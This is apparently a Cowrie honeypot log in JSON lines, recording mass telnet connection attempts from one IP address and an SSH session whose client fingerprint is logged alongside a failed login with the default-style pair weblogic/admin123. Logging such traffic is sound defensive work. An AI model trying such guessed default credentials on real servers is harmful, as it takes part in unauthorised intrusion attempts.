{"eventid":"cowrie.session.closed","duration":30.620959281921387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:33.211714Z","src_ip":"152.53.125.71","session":"e6d7c461c1f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58048,"dst_ip":"10.17.0.5","dst_port":23,"session":"9333c57415cf","protocol":"telnet","message":"New connection: 152.53.125.71:58048 (10.17.0.5:23) [session: 9333c57415cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:33.249394Z"}
{"eventid":"cowrie.session.closed","duration":30.813335418701172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:33.262041Z","src_ip":"152.53.125.71","session":"8a621388da27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039757251739502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:33.270729Z","src_ip":"152.53.125.71","session":"576f7f76fb2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58056,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3852e0045fe","protocol":"telnet","message":"New connection: 152.53.125.71:58056 (10.17.0.5:23) [session: b3852e0045fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:33.288577Z"}
{"eventid":"cowrie.session.closed","duration":31.029592514038086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:33.394668Z","src_ip":"152.53.125.71","session":"e90789d873a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58064,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f16fe6a81a1","protocol":"telnet","message":"New connection: 152.53.125.71:58064 (10.17.0.5:23) [session: 4f16fe6a81a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:33.445566Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58066,"dst_ip":"10.17.0.5","dst_port":23,"session":"639a7f6370d8","protocol":"telnet","message":"New connection: 152.53.125.71:58066 (10.17.0.5:23) [session: 639a7f6370d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:33.490082Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58072,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bbbe61e4948","protocol":"telnet","message":"New connection: 152.53.125.71:58072 (10.17.0.5:23) [session: 3bbbe61e4948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:33.705487Z"}
{"eventid":"cowrie.session.closed","duration":30.72418975830078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:34.310222Z","src_ip":"152.53.125.71","session":"f57cd42a85d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58084,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bedb28ba823","protocol":"telnet","message":"New connection: 152.53.125.71:58084 (10.17.0.5:23) [session: 1bedb28ba823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:34.364341Z"}
{"eventid":"cowrie.session.closed","duration":30.755093336105347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:34.378185Z","src_ip":"152.53.125.71","session":"c055cce74d83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878340482711792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:34.413358Z","src_ip":"152.53.125.71","session":"3e38efd87f6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58094,"dst_ip":"10.17.0.5","dst_port":23,"session":"447df7246ccc","protocol":"telnet","message":"New connection: 152.53.125.71:58094 (10.17.0.5:23) [session: 447df7246ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:34.569344Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58098,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf25fa52601","protocol":"telnet","message":"New connection: 152.53.125.71:58098 (10.17.0.5:23) [session: 9cf25fa52601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:34.624834Z"}
{"eventid":"cowrie.session.closed","duration":31.055984497070312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:35.339996Z","src_ip":"152.53.125.71","session":"3f4bd5440813","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905455827713013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:35.349538Z","src_ip":"152.53.125.71","session":"68fd2350e7a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35468,"dst_ip":"10.17.0.5","dst_port":23,"session":"796fdb5cf522","protocol":"telnet","message":"New connection: 152.53.125.71:35468 (10.17.0.5:23) [session: 796fdb5cf522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:35.538360Z"}
{"eventid":"cowrie.session.closed","duration":31.28339123725891,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:35.549084Z","src_ip":"152.53.125.71","session":"b782afd8fd10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35470,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b66b5d1a10f","protocol":"telnet","message":"New connection: 152.53.125.71:35470 (10.17.0.5:23) [session: 1b66b5d1a10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:36.237883Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35480,"dst_ip":"10.17.0.5","dst_port":23,"session":"de88631928ff","protocol":"telnet","message":"New connection: 152.53.125.71:35480 (10.17.0.5:23) [session: de88631928ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:36.607160Z"}
{"eventid":"cowrie.session.closed","duration":30.505261659622192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:37.298038Z","src_ip":"152.53.125.71","session":"37f518faecfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804584741592407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:38.292485Z","src_ip":"152.53.125.71","session":"fcbd9638d12e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35484,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e52cb654f24","protocol":"telnet","message":"New connection: 152.53.125.71:35484 (10.17.0.5:23) [session: 4e52cb654f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:38.297761Z"}
{"eventid":"cowrie.session.closed","duration":31.221667051315308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:38.447008Z","src_ip":"152.53.125.71","session":"ffbaa59aaa54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35498,"dst_ip":"10.17.0.5","dst_port":23,"session":"4711e50ba03d","protocol":"telnet","message":"New connection: 152.53.125.71:35498 (10.17.0.5:23) [session: 4711e50ba03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:38.605646Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35502,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ae3769d96cc","protocol":"telnet","message":"New connection: 152.53.125.71:35502 (10.17.0.5:23) [session: 6ae3769d96cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:38.943110Z"}
{"eventid":"cowrie.session.closed","duration":30.748038053512573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:39.069752Z","src_ip":"152.53.125.71","session":"8b67cd5f7c50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.572163105010986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:39.122148Z","src_ip":"152.53.125.71","session":"387a7a844890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.810384511947632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:39.204806Z","src_ip":"152.53.125.71","session":"ad5f10659a23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.956541538238525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:39.210014Z","src_ip":"152.53.125.71","session":"7e45fab1919b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844728708267212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:39.243516Z","src_ip":"152.53.125.71","session":"c6ae2f14480d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.898443698883057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:40.333442Z","src_ip":"152.53.125.71","session":"3a02b46ee2ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91206169128418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:40.493833Z","src_ip":"152.53.125.71","session":"4462eb8c3ec8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":48432,"dst_ip":"10.17.0.5","dst_port":23,"session":"b15e482b7c9f","protocol":"telnet","message":"New connection: 162.253.42.116:48432 (10.17.0.5:23) [session: b15e482b7c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:40.564434Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35518,"dst_ip":"10.17.0.5","dst_port":23,"session":"19cbae2f187d","protocol":"telnet","message":"New connection: 152.53.125.71:35518 (10.17.0.5:23) [session: 19cbae2f187d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:40.611151Z"}
{"eventid":"cowrie.session.closed","duration":31.285500049591064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:40.929319Z","src_ip":"152.53.125.71","session":"041d6d6f2726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35532,"dst_ip":"10.17.0.5","dst_port":23,"session":"accf4f7dba89","protocol":"telnet","message":"New connection: 152.53.125.71:35532 (10.17.0.5:23) [session: accf4f7dba89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:41.225053Z"}
{"eventid":"cowrie.session.closed","duration":31.00133442878723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:41.283864Z","src_ip":"152.53.125.71","session":"8d570a7b5deb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19456934928894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:41.446095Z","src_ip":"152.53.125.71","session":"db1f5ad597eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35548,"dst_ip":"10.17.0.5","dst_port":23,"session":"e354cbbdad5c","protocol":"telnet","message":"New connection: 152.53.125.71:35548 (10.17.0.5:23) [session: e354cbbdad5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:42.282147Z"}
{"eventid":"cowrie.session.closed","duration":30.92875099182129,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:42.444309Z","src_ip":"152.53.125.71","session":"dbfdcd7d5a74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46508,"dst_ip":"10.17.0.5","dst_port":23,"session":"d678b3f6b35d","protocol":"telnet","message":"New connection: 159.203.13.64:46508 (10.17.0.5:23) [session: d678b3f6b35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:42.449761Z"}
{"eventid":"cowrie.session.closed","duration":31.135419607162476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:42.481814Z","src_ip":"152.53.125.71","session":"f856c0e9559c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85797619819641,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:42.487441Z","src_ip":"152.53.125.71","session":"3c7affaa5eab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858564376831055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:43.140442Z","src_ip":"152.53.125.71","session":"8a35dd9aacf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88809871673584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:43.272845Z","src_ip":"152.53.125.71","session":"6cdee19ff8fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85016918182373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:43.326447Z","src_ip":"152.53.125.71","session":"d6faaa6f612f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987456798553467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:43.380074Z","src_ip":"152.53.125.71","session":"56946fd15f38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.908191680908203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:43.410568Z","src_ip":"152.53.125.71","session":"5a721eaa0224","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.867897272109985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:44.088984Z","src_ip":"152.53.125.71","session":"e485affcef47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64286208152771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:44.173782Z","src_ip":"152.53.125.71","session":"fa5be4175c9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35564,"dst_ip":"10.17.0.5","dst_port":23,"session":"4577dd3e35e9","protocol":"telnet","message":"New connection: 152.53.125.71:35564 (10.17.0.5:23) [session: 4577dd3e35e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:44.241258Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35570,"dst_ip":"10.17.0.5","dst_port":23,"session":"6238b63ccc10","protocol":"telnet","message":"New connection: 152.53.125.71:35570 (10.17.0.5:23) [session: 6238b63ccc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:44.705176Z"}
{"eventid":"cowrie.session.closed","duration":31.622055768966675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:44.903375Z","src_ip":"152.53.125.71","session":"8f85fd3c5eb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43482,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c0c8ace2381","protocol":"telnet","message":"New connection: 152.53.125.71:43482 (10.17.0.5:23) [session: 3c0c8ace2381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:45.255879Z"}
{"eventid":"cowrie.session.closed","duration":30.84743881225586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:45.352959Z","src_ip":"152.53.125.71","session":"3b12d07c3ed1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":36438,"dst_ip":"159.203.135.109","dst_port":22,"session":"500ddca15637","protocol":"ssh","message":"New connection: 186.13.24.118:36438 (159.203.135.109:22) [session: 500ddca15637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:45.380509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:45.385245Z","src_ip":"186.13.24.118","session":"500ddca15637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:45.544097Z","src_ip":"186.13.24.118","session":"500ddca15637","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43484,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ac077980632","protocol":"telnet","message":"New connection: 152.53.125.71:43484 (10.17.0.5:23) [session: 2ac077980632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:45.602044Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43496,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8adf87b3dfa","protocol":"telnet","message":"New connection: 152.53.125.71:43496 (10.17.0.5:23) [session: f8adf87b3dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:45.645482Z"}
{"eventid":"cowrie.session.closed","duration":30.52043914794922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:46.114214Z","src_ip":"152.53.125.71","session":"ab8590c6c6d7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"admin123","message":"login attempt [weblogic/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:46.212434Z","src_ip":"186.13.24.118","session":"500ddca15637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.993265628814697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:46.318306Z","src_ip":"152.53.125.71","session":"34edf4fc3dd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92153835296631,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:46.333236Z","src_ip":"152.53.125.71","session":"f1cb4e8ec0a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:47.376897Z","src_ip":"186.13.24.118","session":"500ddca15637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.944828510284424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:47.415776Z","src_ip":"152.53.125.71","session":"21251e9fe2b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10236406326294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:47.457197Z","src_ip":"152.53.125.71","session":"1f8c0e68edd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43512,"dst_ip":"10.17.0.5","dst_port":23,"session":"60ff34de2811","protocol":"telnet","message":"New connection: 152.53.125.71:43512 (10.17.0.5:23) [session: 60ff34de2811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:47.598082Z"}
{"eventid":"cowrie.session.closed","duration":31.32725477218628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:48.304536Z","src_ip":"152.53.125.71","session":"4919a367df9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43528,"dst_ip":"10.17.0.5","dst_port":23,"session":"6efea60103bf","protocol":"telnet","message":"New connection: 152.53.125.71:43528 (10.17.0.5:23) [session: 6efea60103bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:48.442555Z"}
{"eventid":"cowrie.session.closed","duration":30.98524522781372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:48.458920Z","src_ip":"152.53.125.71","session":"6964ec57fb77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43536,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a13790b710e","protocol":"telnet","message":"New connection: 152.53.125.71:43536 (10.17.0.5:23) [session: 0a13790b710e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:48.553865Z"}
{"eventid":"cowrie.session.closed","duration":30.567485809326172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:50.092129Z","src_ip":"152.53.125.71","session":"196a097b0f87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43540,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffabdb55538f","protocol":"telnet","message":"New connection: 152.53.125.71:43540 (10.17.0.5:23) [session: ffabdb55538f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:50.512890Z"}
{"eventid":"cowrie.session.closed","duration":30.989691972732544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:51.323676Z","src_ip":"152.53.125.71","session":"e8e23322223b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43556,"dst_ip":"10.17.0.5","dst_port":23,"session":"00a032616467","protocol":"telnet","message":"New connection: 152.53.125.71:43556 (10.17.0.5:23) [session: 00a032616467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:51.346699Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43566,"dst_ip":"10.17.0.5","dst_port":23,"session":"83ab5dc272d8","protocol":"telnet","message":"New connection: 152.53.125.71:43566 (10.17.0.5:23) [session: 83ab5dc272d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:51.431426Z"}
